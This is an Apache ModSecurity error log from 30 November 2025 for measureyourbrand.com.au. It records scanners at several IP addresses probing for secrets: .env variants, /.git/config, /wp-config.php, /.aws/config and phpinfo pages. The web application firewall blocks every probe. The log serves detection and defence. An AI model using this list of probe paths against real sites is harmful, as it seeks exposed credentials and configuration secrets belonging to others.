[Sun Nov 30 04:11:33.762621 2025] [:error] [pid 44951:tid 44969] [client 35.90.120.27:38880] [client 35.90.120.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/info"] [unique_id "aStTdf9n-K61ohCFHy7BcQAAANA"]
[Sun Nov 30 04:11:34.497055 2025] [:error] [pid 44843:tid 44889] [client 35.90.120.27:38888] [client 35.90.120.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/phpinfo"] [unique_id "aStTdrRULm2MqOv1SfmfqQAAAEE"]
[Sun Nov 30 04:11:35.232043 2025] [:error] [pid 44844:tid 44919] [client 35.90.120.27:48886] [client 35.90.120.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aStTdxkTTwUoGl70YUDb7gAAAIQ"]
[Sun Nov 30 04:11:36.770367 2025] [:error] [pid 44844:tid 44935] [client 35.90.120.27:48910] [client 35.90.120.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/js"] [unique_id "aStTeBkTTwUoGl70YUDb8AAAAJQ"]
[Sun Nov 30 04:37:33.525055 2025] [:error] [pid 24886:tid 24897] [client 54.180.25.63:45780] [client 54.180.25.63] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "aStZjecqOmvMtig3AI2pCgAAAAc"]
[Sun Nov 30 04:37:33.525384 2025] [:error] [pid 53191:tid 53250] [client 54.180.25.63:45784] [client 54.180.25.63] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "aStZjcGBvZ7Z1sC27tT5WgAAAo8"]
[Sun Nov 30 04:37:33.525789 2025] [:error] [pid 26121:tid 26133] [client 54.180.25.63:45792] [client 54.180.25.63] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.test"] [unique_id "aStZje3yAGZUIB-ACmAxuAAAAco"]
[Sun Nov 30 04:37:33.526027 2025] [:error] [pid 54236:tid 54267] [client 54.180.25.63:45782] [client 54.180.25.63] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.remote"] [unique_id "aStZjZLzwJzIgo8dntB1pAAAAQw"]
[Sun Nov 30 04:37:33.526529 2025] [:error] [pid 53191:tid 53259] [client 54.180.25.63:45790] [client 54.180.25.63] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.development"] [unique_id "aStZjcGBvZ7Z1sC27tT5WwAAApg"]
[Sun Nov 30 04:37:33.526777 2025] [:error] [pid 26121:tid 26137] [client 54.180.25.63:45786] [client 54.180.25.63] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aStZje3yAGZUIB-ACmAxuQAAAc4"]
[Sun Nov 30 04:37:33.527070 2025] [:error] [pid 54236:tid 54259] [client 54.180.25.63:45788] [client 54.180.25.63] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.staging"] [unique_id "aStZjZLzwJzIgo8dntB1pQAAAQQ"]
[Sun Nov 30 04:37:34.042824 2025] [:error] [pid 53191:tid 53245] [client 54.180.25.63:45896] [client 54.180.25.63] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.example"] [unique_id "aStZjsGBvZ7Z1sC27tT5XQAAAoo"]
[Sun Nov 30 04:37:34.043005 2025] [:error] [pid 24886:tid 24914] [client 54.180.25.63:45894] [client 54.180.25.63] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.backup"] [unique_id "aStZjucqOmvMtig3AI2pCwAAABg"]
[Sun Nov 30 04:37:35.053474 2025] [:error] [pid 24888:tid 24951] [client 54.180.25.63:45994] [client 54.180.25.63] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.sample"] [unique_id "aStZj_W2-HcJ0qXXc1HyZQAAAIc"]
[Sun Nov 30 04:37:35.507130 2025] [:error] [pid 53191:tid 53254] [client 54.180.25.63:46080] [client 54.180.25.63] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.old"] [unique_id "aStZj8GBvZ7Z1sC27tT5XgAAApM"]
[Sun Nov 30 04:37:36.064236 2025] [:error] [pid 24971:tid 24989] [client 54.180.25.63:46276] [client 54.180.25.63] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.save"] [unique_id "aStZkDUZcbcCmcDjhQ_DUwAAANA"]
[Sun Nov 30 04:37:36.501918 2025] [:error] [pid 24888:tid 24944] [client 54.180.25.63:46456] [client 54.180.25.63] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/.env"] [unique_id "aStZkPW2-HcJ0qXXc1HygAAAAIA"]
[Sun Nov 30 04:37:36.695064 2025] [:error] [pid 14158:tid 14209] [client 54.180.25.63:46716] [client 54.180.25.63] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/lib/.env"] [unique_id "aStZkN0y5XTQ_LvO-OZrUQAAAwQ"]
[Sun Nov 30 04:37:37.192344 2025] [:error] [pid 24888:tid 24963] [client 54.180.25.63:47030] [client 54.180.25.63] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/lab/.env"] [unique_id "aStZkfW2-HcJ0qXXc1HygwAAAJM"]
[Sun Nov 30 04:37:37.349730 2025] [:error] [pid 25002:tid 25035] [client 54.180.25.63:47262] [client 54.180.25.63] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/cronlab/.env"] [unique_id "aStZkW2Hykst8BxxTdJGbQAAAUM"]
[Sun Nov 30 04:37:37.925021 2025] [:error] [pid 28588:tid 28596] [client 54.180.25.63:47504] [client 54.180.25.63] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/cron/.env"] [unique_id "aStZkSYl5J2n_isyWOlSOgAAAkY"]
[Sun Nov 30 04:37:37.926966 2025] [:error] [pid 24886:tid 24903] [client 54.180.25.63:47782] [client 54.180.25.63] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/core/.env"] [unique_id "aStZkecqOmvMtig3AI2pFgAAAA0"]
[Sun Nov 30 04:37:38.270897 2025] [:error] [pid 26121:tid 26134] [client 54.180.25.63:48388] [client 54.180.25.63] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/core/app/.env"] [unique_id "aStZku3yAGZUIB-ACmAxwQAAAcs"]
[Sun Nov 30 04:37:38.462967 2025] [:error] [pid 24971:tid 24996] [client 54.180.25.63:48554] [client 54.180.25.63] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/core/Datavase/.env"] [unique_id "aStZkjUZcbcCmcDjhQ_DWQAAANc"]
[Sun Nov 30 04:37:38.831971 2025] [:error] [pid 25002:tid 25038] [client 54.180.25.63:48764] [client 54.180.25.63] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/database/.env"] [unique_id "aStZkm2Hykst8BxxTdJGbwAAAUY"]
[Sun Nov 30 05:05:25.226295 2025] [:error] [pid 60369:tid 60386] [client 3.39.194.251:58912] [client 3.39.194.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aStgFdR1zCWWHJK7KyEREQAAAY8"]
[Sun Nov 30 05:05:25.822367 2025] [:error] [pid 51537:tid 51552] [client 3.39.194.251:34950] [client 3.39.194.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aStgFbcSSdjzCoyn8Vs9mwAAAE0"]
[Sun Nov 30 05:05:26.424301 2025] [:error] [pid 25002:tid 25044] [client 3.39.194.251:34960] [client 3.39.194.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "aStgFm2Hykst8BxxTdJT6wAAAUw"]
[Sun Nov 30 05:05:27.037338 2025] [:error] [pid 60913:tid 60926] [client 3.39.194.251:34970] [client 3.39.194.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "aStgF14SUvyDn5e4S0JkRgAAAss"]
[Sun Nov 30 05:05:27.650305 2025] [:error] [pid 60369:tid 60389] [client 3.39.194.251:34980] [client 3.39.194.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.development"] [unique_id "aStgF9R1zCWWHJK7KyERFAAAAZI"]
[Sun Nov 30 05:05:28.264190 2025] [:error] [pid 25002:tid 25036] [client 3.39.194.251:34988] [client 3.39.194.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.bak"] [unique_id "aStgGG2Hykst8BxxTdJT7wAAAUQ"]
[Sun Nov 30 05:05:28.858380 2025] [:error] [pid 60369:tid 60372] [client 3.39.194.251:34994] [client 3.39.194.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.example"] [unique_id "aStgGNR1zCWWHJK7KyERFQAAAYE"]
[Sun Nov 30 05:05:29.464918 2025] [:error] [pid 28588:tid 28600] [client 3.39.194.251:35010] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/env"] [unique_id "aStgGSYl5J2n_isyWOle_wAAAko"]
[Sun Nov 30 05:05:30.063317 2025] [:error] [pid 60369:tid 60385] [client 3.39.194.251:35018] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/env.json"] [unique_id "aStgGtR1zCWWHJK7KyERFwAAAY4"]
[Sun Nov 30 05:05:30.669060 2025] [:error] [pid 26121:tid 26125] [client 3.39.194.251:35022] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/env.yaml"] [unique_id "aStgGu3yAGZUIB-ACmA8hAAAAcI"]
[Sun Nov 30 05:05:31.272994 2025] [:error] [pid 60572:tid 60591] [client 3.39.194.251:35034] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/env.yml"] [unique_id "aStgG4Vcy1tAF6kmNWnnlgAAAhE"]
[Sun Nov 30 05:05:31.879684 2025] [:error] [pid 24971:tid 24979] [client 3.39.194.251:35050] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config"] [unique_id "aStgGzUZcbcCmcDjhQ_NoQAAAMY"]
[Sun Nov 30 05:05:32.484516 2025] [:error] [pid 25002:tid 25044] [client 3.39.194.251:35066] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.json"] [unique_id "aStgHG2Hykst8BxxTdJT9AAAAUw"]
[Sun Nov 30 05:05:33.090263 2025] [:error] [pid 24971:tid 24981] [client 3.39.194.251:35070] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.js"] [unique_id "aStgHTUZcbcCmcDjhQ_NowAAAMg"]
[Sun Nov 30 05:05:33.694191 2025] [:error] [pid 54236:tid 54268] [client 3.39.194.251:35078] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.yaml"] [unique_id "aStgHZLzwJzIgo8dntCCYAAAAQ0"]
[Sun Nov 30 05:05:34.306663 2025] [:error] [pid 63468:tid 63485] [client 3.39.194.251:35088] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.yml"] [unique_id "aStgHqGdTyPw0PxgJetvdgAAAA8"]
[Sun Nov 30 05:05:34.914852 2025] [:error] [pid 60913:tid 60935] [client 3.39.194.251:35100] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.ini"] [unique_id "aStgHl4SUvyDn5e4S0JkUgAAAtQ"]
[Sun Nov 30 05:05:35.511346 2025] [:error] [pid 60369:tid 60382] [client 3.39.194.251:40960] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.php"] [unique_id "aStgH9R1zCWWHJK7KyERHAAAAYs"]
[Sun Nov 30 05:05:36.120902 2025] [:error] [pid 24971:tid 24985] [client 3.39.194.251:40974] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/configuration"] [unique_id "aStgIDUZcbcCmcDjhQ_NpgAAAMw"]
[Sun Nov 30 05:05:36.722856 2025] [:error] [pid 24971:tid 24982] [client 3.39.194.251:40990] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/settings"] [unique_id "aStgIDUZcbcCmcDjhQ_NqAAAAMk"]
[Sun Nov 30 05:05:37.329147 2025] [:error] [pid 51537:tid 51539] [client 3.39.194.251:41006] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/settings.json"] [unique_id "aStgIbcSSdjzCoyn8Vs9qQAAAEA"]
[Sun Nov 30 05:05:37.926502 2025] [:error] [pid 26121:tid 26129] [client 3.39.194.251:41022] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/app.config.js"] [unique_id "aStgIe3yAGZUIB-ACmA8iwAAAcY"]
[Sun Nov 30 05:05:38.531271 2025] [:error] [pid 25002:tid 25042] [client 3.39.194.251:41032] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/phpinfo.php"] [unique_id "aStgIm2Hykst8BxxTdJUBwAAAUo"]
[Sun Nov 30 05:05:39.129504 2025] [:error] [pid 26121:tid 26143] [client 3.39.194.251:41042] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aStgI-3yAGZUIB-ACmA8jAAAAdQ"]
[Sun Nov 30 05:05:39.738062 2025] [:error] [pid 24971:tid 24997] [client 3.39.194.251:41054] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/phpversion.php"] [unique_id "aStgIzUZcbcCmcDjhQ_NqwAAANg"]
[Sun Nov 30 05:05:40.352943 2025] [:error] [pid 60572:tid 60583] [client 3.39.194.251:41062] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test.php"] [unique_id "aStgJIVcy1tAF6kmNWnnnQAAAgk"]
[Sun Nov 30 05:05:40.968420 2025] [:error] [pid 60913:tid 60936] [client 3.39.194.251:41064] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin"] [unique_id "aStgJF4SUvyDn5e4S0JkXgAAAtU"]
[Sun Nov 30 05:05:41.584447 2025] [:error] [pid 26121:tid 26140] [client 3.39.194.251:41066] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aStgJe3yAGZUIB-ACmA8jgAAAdE"]
[Sun Nov 30 05:05:42.198711 2025] [:error] [pid 25002:tid 25046] [client 3.39.194.251:41080] [client 3.39.194.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-config.php"] [unique_id "aStgJm2Hykst8BxxTdJUDAAAAU4"]
[Sun Nov 30 05:05:42.811277 2025] [:error] [pid 51537:tid 51544] [client 3.39.194.251:41090] [client 3.39.194.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/composer.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/composer.json"] [unique_id "aStgJrcSSdjzCoyn8Vs9rQAAAEU"]
[Sun Nov 30 05:05:43.416191 2025] [:error] [pid 26121:tid 26137] [client 3.39.194.251:41106] [client 3.39.194.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.aws/config"] [unique_id "aStgJ-3yAGZUIB-ACmA8kgAAAc4"]
